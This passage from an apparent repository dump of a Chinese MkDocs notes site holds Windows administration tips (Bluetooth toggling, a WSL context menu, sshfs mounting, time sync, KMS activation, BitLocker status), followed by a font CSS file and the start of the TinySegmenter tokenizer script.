class=\"err\">$</span><span class=\"n\">_</span><span class=\"p\">.</span><span class=\"n\">Kind</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">eq</span><span class=\"w\"> </span><span class=\"s1\">&#39;Bluetooth&#39;</span><span class=\"w\"> </span><span class=\"err\">}</span>\n<span class=\"o\">[</span><span class=\"n\">Windows.Devices.Radios.RadioState,Windows.System.Devices,ContentType=WindowsRuntime</span><span class=\"o\">]</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"k\">Out</span><span class=\"o\">-</span><span class=\"k\">Null</span>\n<span class=\"n\">Await</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"err\">$</span><span class=\"n\">bluetooth</span><span class=\"p\">.</span><span class=\"n\">SetStateAsync</span><span class=\"p\">(</span><span class=\"err\">$</span><span class=\"n\">BluetoothStatus</span><span class=\"p\">))</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"o\">[</span><span class=\"n\">Windows.Devices.Radios.RadioAccessStatus</span><span class=\"o\">]</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"k\">Out</span><span class=\"o\">-</span><span class=\"k\">Null</span>\n</code></pre></div>\n\n<p>开启蓝牙：</p>\n<div class=\"codehilite\"><pre><span></span><code>powershell -ExecutionPolicy Bypass -File ./b.ps1 -BluetoothStatus On\n</code></pre></div>\n\n<p>关闭就是Off</p>\n<hr />\n<h2 id=\"bash_1\">文件夹背景右键直接显示bash<a class=\"headerlink\" href=\"#bash_1\" title=\"Permanent link\">&para;</a></h2>\n<p>默认需要按住Shift右键才会显示</p>\n<p>HKEY_CLASSES_ROOT\\Directory\\Background\\shell\\WSL</p>\n<p>删除其中的Extended项即可，可能没有权限需要先获得所有权再给自己权限，<a href=\"https://www.ithome.com/html/win10/282909.htm\">参考</a></p>\n<p>附上默认的command:</p>\n<div class=\"codehilite\"><pre><span></span><code>wsl.exe --cd &quot;%V&quot;\npowershell.exe -noexit -command Set-Location -literalPath &#39;%V&#39;\ncmd.exe /s /k pushd &quot;%V&quot;\n</code></pre></div>\n\n<hr />\n<h2 id=\"sshfs\">sshfs挂载远程目录<a class=\"headerlink\" href=\"#sshfs\" title=\"Permanent link\">&para;</a></h2>\n<p>https://github.com/billziss-gh/sshfs-win</p>\n<p>相比玄学的windows共享，还是ssh更加简单靠谱，只是有时候ssh.exe会CPU100%卡住，需要任务管理器kill</p>\n<p>使用前需要先让ssh开启密码验证，你可以使用<code>ssh -i /dev/null</code>去连接测试能否登录</p>\n<p>可以用多个<code>..\\</code>挂载上级目录</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">net</span><span class=\"w\"> </span><span class=\"k\">use</span><span class=\"w\"> </span><span class=\"nl\">h</span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"err\">\\\\</span><span class=\"n\">sshfs</span><span class=\"err\">\\</span><span class=\"n\">root</span><span class=\"nv\">@ip</span><span class=\"err\">!</span><span class=\"mi\">2222</span><span class=\"err\">\\</span><span class=\"p\">..</span><span class=\"err\">\\</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"windows\">命令行windows时间同步<a class=\"headerlink\" href=\"#windows\" title=\"Permanent link\">&para;</a></h2>\n<p>参考： https://answers.microsoft.com/en-us/windows/forum/windows_10-other_settings/how-to-force-windows-10-time-to-synch-with-a-time/20f3b546-af38-42fb-a2d0-d4df13cc8f43</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">net</span><span class=\"w\"> </span><span class=\"n\">start</span><span class=\"w\"> </span><span class=\"n\">w32time</span>\n<span class=\"n\">w32tm</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">register</span>\n<span class=\"n\">w32tm</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">resync</span>\n</code></pre></div>\n\n<p>同时，你可能想要将Windows Time服务设置为自动启动</p>\n<hr />\n<h2 id=\"windows_1\">Windows激活<a class=\"headerlink\" href=\"#windows_1\" title=\"Permanent link\">&para;</a></h2>\n<p>查看激活信息：</p>\n<div class=\"codehilite\"><pre><span></span><code>slmgr.vbs /dli\n</code></pre></div>\n\n<p>设置kms服务器地址：</p>\n<div class=\"codehilite\"><pre><span></span><code>slmgr.vbs /skms 10.203.8.58\nslmgr.vbs /ato\n</code></pre></div>\n\n<p>查看过期时间：</p>\n<div class=\"codehilite\"><pre><span></span><code>slmgr.vbs /xpr\n</code></pre></div>\n\n<hr />\n<h2 id=\"bitlocker\">查看BitLocker加密进度<a class=\"headerlink\" href=\"#bitlocker\" title=\"Permanent link\">&para;</a></h2>\n<p>新的win10里不会在UI显示加密进度，只能靠管理员权限的命令行查询：</p>\n<p>manage-bde -status</p>\n<hr />\n<h2 id=\"_4\">找回消失的窗口<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h2>\n<p>参考 <a href=\"http://tech.sina.com.cn/s/2009-01-10/22142737573.shtml\">Windows系统窗口消失之谜及解决方法</a></p>\n<p>感叹一下windows的向下兼容做得真好，2009年的文章现在仍然有效</p>\n<p>Win10任务栏右键没法对窗口进行移动了，解决方案是点击后Alt+空格，然后按M，按方向键，再移动鼠标即可</p>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/assets/css/filelist.txt",
    "content": "https://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xFIzIFKw.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xMIzIFKw.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xEIzIFKw.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xLIzIFKw.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xHIzIFKw.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xGIzIFKw.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOkCnqEu92Fr1Mu51xIIzI.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmSU5fBBc4.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu72xKOzY.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu5mxKOzY.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu7mxKOzY.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu4WxKOzY.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu7WxKOzY.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu7GxKOzY.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOmCnqEu92Fr1Mu4mxK.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2\nhttps://gstatic.loli.net/s/roboto/v20/KFOlCnqEu92Fr1MmWUlfBBc4.woff2\nhttps://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhGq3-OXg.woff2\nhttps://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhPq3-OXg.woff2\nhttps://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhHq3-OXg.woff2\nhttps://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhIq3-OXg.woff2\nhttps://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhEq3-OXg.woff2\nhttps://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhFq3-OXg.woff2\nhttps://gstatic.loli.net/s/robotomono/v7/L0x5DF4xlVMF-BfR8bXMIjhLq38.woff2\n"
  },
  {
    "path": "docs/assets/css/fonts.css",
    "content": "/* cyrillic-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: italic;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xFIzIFKw.woff2) format('woff2');\r\n  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;\r\n}\r\n/* cyrillic */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: italic;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xMIzIFKw.woff2) format('woff2');\r\n  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;\r\n}\r\n/* greek-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: italic;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xEIzIFKw.woff2) format('woff2');\r\n  unicode-range: U+1F00-1FFF;\r\n}\r\n/* greek */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: italic;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xLIzIFKw.woff2) format('woff2');\r\n  unicode-range: U+0370-03FF;\r\n}\r\n/* vietnamese */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: italic;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xHIzIFKw.woff2) format('woff2');\r\n  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;\r\n}\r\n/* latin-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: italic;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xGIzIFKw.woff2) format('woff2');\r\n  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;\r\n}\r\n/* latin */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: italic;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Italic'), local('Roboto-Italic'), url(KFOkCnqEu92Fr1Mu51xIIzI.woff2) format('woff2');\r\n  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;\r\n}\r\n/* cyrillic-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  font-display: fallback;\r\n  src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fCRc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;\r\n}\r\n/* cyrillic */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  font-display: fallback;\r\n  src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fABc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;\r\n}\r\n/* greek-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  font-display: fallback;\r\n  src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fCBc4EsA.woff2) format('woff2');\r\n  unicode-range: U+1F00-1FFF;\r\n}\r\n/* greek */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  font-display: fallback;\r\n  src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fBxc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0370-03FF;\r\n}\r\n/* vietnamese */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  font-display: fallback;\r\n  src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fCxc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;\r\n}\r\n/* latin-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  font-display: fallback;\r\n  src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fChc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;\r\n}\r\n/* latin */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 300;\r\n  font-display: fallback;\r\n  src: local('Roboto Light'), local('Roboto-Light'), url(KFOlCnqEu92Fr1MmSU5fBBc4.woff2) format('woff2');\r\n  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;\r\n}\r\n/* cyrillic-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2');\r\n  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;\r\n}\r\n/* cyrillic */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu5mxKOzY.woff2) format('woff2');\r\n  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;\r\n}\r\n/* greek-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu7mxKOzY.woff2) format('woff2');\r\n  unicode-range: U+1F00-1FFF;\r\n}\r\n/* greek */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu4WxKOzY.woff2) format('woff2');\r\n  unicode-range: U+0370-03FF;\r\n}\r\n/* vietnamese */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu7WxKOzY.woff2) format('woff2');\r\n  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;\r\n}\r\n/* latin-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2');\r\n  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;\r\n}\r\n/* latin */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto'), local('Roboto-Regular'), url(KFOmCnqEu92Fr1Mu4mxK.woff2) format('woff2');\r\n  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;\r\n}\r\n/* cyrillic-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 700;\r\n  font-display: fallback;\r\n  src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfCRc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;\r\n}\r\n/* cyrillic */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 700;\r\n  font-display: fallback;\r\n  src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfABc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;\r\n}\r\n/* greek-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 700;\r\n  font-display: fallback;\r\n  src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfCBc4EsA.woff2) format('woff2');\r\n  unicode-range: U+1F00-1FFF;\r\n}\r\n/* greek */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 700;\r\n  font-display: fallback;\r\n  src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfBxc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0370-03FF;\r\n}\r\n/* vietnamese */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 700;\r\n  font-display: fallback;\r\n  src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfCxc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;\r\n}\r\n/* latin-ext */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 700;\r\n  font-display: fallback;\r\n  src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfChc4EsA.woff2) format('woff2');\r\n  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;\r\n}\r\n/* latin */\r\n@font-face {\r\n  font-family: 'Roboto';\r\n  font-style: normal;\r\n  font-weight: 700;\r\n  font-display: fallback;\r\n  src: local('Roboto Bold'), local('Roboto-Bold'), url(KFOlCnqEu92Fr1MmWUlfBBc4.woff2) format('woff2');\r\n  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;\r\n}\r\n/* cyrillic-ext */\r\n@font-face {\r\n  font-family: 'Roboto Mono';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhGq3-OXg.woff2) format('woff2');\r\n  unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;\r\n}\r\n/* cyrillic */\r\n@font-face {\r\n  font-family: 'Roboto Mono';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhPq3-OXg.woff2) format('woff2');\r\n  unicode-range: U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;\r\n}\r\n/* greek-ext */\r\n@font-face {\r\n  font-family: 'Roboto Mono';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhHq3-OXg.woff2) format('woff2');\r\n  unicode-range: U+1F00-1FFF;\r\n}\r\n/* greek */\r\n@font-face {\r\n  font-family: 'Roboto Mono';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhIq3-OXg.woff2) format('woff2');\r\n  unicode-range: U+0370-03FF;\r\n}\r\n/* vietnamese */\r\n@font-face {\r\n  font-family: 'Roboto Mono';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhEq3-OXg.woff2) format('woff2');\r\n  unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+1EA0-1EF9, U+20AB;\r\n}\r\n/* latin-ext */\r\n@font-face {\r\n  font-family: 'Roboto Mono';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhFq3-OXg.woff2) format('woff2');\r\n  unicode-range: U+0100-024F, U+0259, U+1E00-1EFF, U+2020, U+20A0-20AB, U+20AD-20CF, U+2113, U+2C60-2C7F, U+A720-A7FF;\r\n}\r\n/* latin */\r\n@font-face {\r\n  font-family: 'Roboto Mono';\r\n  font-style: normal;\r\n  font-weight: 400;\r\n  font-display: fallback;\r\n  src: local('Roboto Mono'), local('RobotoMono-Regular'), url(L0x5DF4xlVMF-BfR8bXMIjhLq38.woff2) format('woff2');\r\n  unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;\r\n}"
  },
  {
    "path": "docs/assets/javascripts/lunr/tinyseg.js",
    "content": "/**\n * export the module via AMD, CommonJS or as a browser global\n * Export code from https://github.com/umdjs/umd/blob/master/returnExports.js\n */\n;(function (root, factory) {\n    if (typeof define === 'function' && define.amd) {\n        // AMD. Register as an anonymous module.\n        define(factory)\n    } else if (typeof exports === 'object') {\n        /**\n         * Node. Does not work with strict CommonJS, but\n         * only CommonJS-like environments that support module.exports,\n         * like Node.\n         */\n        module.exports = factory()\n    } else {\n        // Browser globals (root is window)\n        factory()(root.lunr);\n    }\n}(this, function () {\n    /**\n     * Just return a value to define the module export.\n     * This example returns an object, but the module\n     * can return a function as the exported value.\n     */\n\n    return function(lunr) {\n        // TinySegmenter 0.1 -- Super compact Japanese tokenizer in Javascript\n        // (c) 2008 Taku Kudo <taku@chasen.org>\n        // TinySegmenter is freely distributable under the terms of a new BSD licence.\n        // For details, see http://chasen.org/~taku/software/TinySegmenter/LICENCE.txt\n\n        function TinySegmenter() {\n          var patterns = {\n            \"[一二三四五六七八九十百千万億兆]\":\"M\",\n            \"[一-龠々〆ヵヶ]\":\"H\",\n            \"[ぁ-ん]\":\"I\",\n            \"[ァ-ヴーｱ-ﾝﾞｰ]\":\"K\",\n            \"[a-zA-Zａ-ｚＡ-Ｚ]\":\"A\",\n            \"[0-9０-９]\":\"N\"\n          }\n          this.chartype_ = [];\n          for (var i in patterns) {\n            var regexp = new RegExp(i);\n            this.chartype_.push([regexp, patterns[i]]);\n          }\n\n          this.BIAS__ = -332\n          this.BC1__ = {\"HH\":6,\"II\":2461,\"KH\":406,\"OH\":-1378};\n          this.BC2__ = {\"AA\":-3267,\"AI\":2744,\"AN\":-878,\"HH\":-4070,\"HM\":-1711,\"HN\":4012,\"HO\":3761,\"IA\":1327,\"IH\":-1184,\"II\":-1332,\"IK\":1721,\"IO\":5492,\"KI\":3831,\"KK\":-8741,\"MH\":-3132,\"MK\":3334,\"OO\":-2920};\n          this.BC3__ = {\"HH\":996,\"HI\":626,\"HK\":-721,\"HN\":-1307,\"HO\":-836,\"IH\":-301,\"KK\":2762,\"MK\":1079,\"MM\":4034,\"OA\":-1652,\"OH\":266};\n          this.BP1__ = {\"BB\":295,\"OB\":304,\"OO\":-125,\"UB\":352};\n          this.BP2__ = {\"BO\":60,\"OO\":-1762};\n          this.BQ1__ = {\"BHH\":1150,\"BHM\":1521,\"BII\":-1158,\"BIM\":886,\"BMH\":1208,\"BNH\":449,\"BOH\":-91,\"BOO\":-2597,\"OHI\":451,\"OIH\":-296,\"OKA\":1851,\"OKH\":-1020,\"OKK\":904,\"OOO\":2965};\n          this.BQ2__ = {\"BHH\":118,\"BHI\":-1159,\"BHM\":466,\"BIH\":-919,\"BKK\":-1720,\"BKO\":864,\"OHH\":-1139,\"OHM\":-181,\"OIH\":153,\"UHI\":-1146};\n          this.BQ3__ = {\"BHH\":-792,\"BHI\":2664,\"BII\":-299,\"BKI\":419,\"BMH\":937,\"BMM\":8335,\"BNN\":998,\"BOH\":775,\"OHH\":2174,\"OHM\":439,\"OII\":280,\"OKH\":1798,\"OKI\":-793,\"OKO\":-2242,\"OMH\":-2402,\"OOO\":11699};\n          this.BQ4__ = {\"BHH\":-3895,\"BIH\":3761,\"BII\":-4654,\"BIK\":1348,\"BKK\":-1806,\"BMI\":-3385,\"BOO\":-12396,\"OAH\":926,\"OHH\":266,\"OHK\":-2036,\"ONN\":-973};\n          this.BW1__ = 